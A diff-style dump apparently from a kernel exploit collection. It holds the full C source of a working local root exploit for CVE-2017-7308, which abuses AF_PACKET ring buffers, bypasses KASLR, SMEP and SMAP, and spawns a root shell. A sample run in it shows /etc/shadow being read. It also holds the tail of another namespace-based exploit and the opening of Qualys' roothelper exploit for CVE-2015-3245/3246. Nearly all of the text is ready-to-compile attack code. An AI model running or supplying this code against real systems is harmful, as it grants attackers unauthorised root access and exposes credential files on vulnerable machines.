// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,792 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,976 @@
|
||||
/*
|
||||
* roothelper.c - an unusual local root exploit against:
|
||||
* CVE-2015-3245 userhelper chfn() newline filtering
|
||||
* CVE-2015-3246 libuser passwd file handling
|
||||
* Copyright (C) 2015 Qualys, Inc.
|
||||
*
|
||||
* gecos_* types and functions inspired by userhelper.c
|
||||
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
|
||||
*
|
||||
* UH_* #defines and comments inspired by userhelper.h
|
||||
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
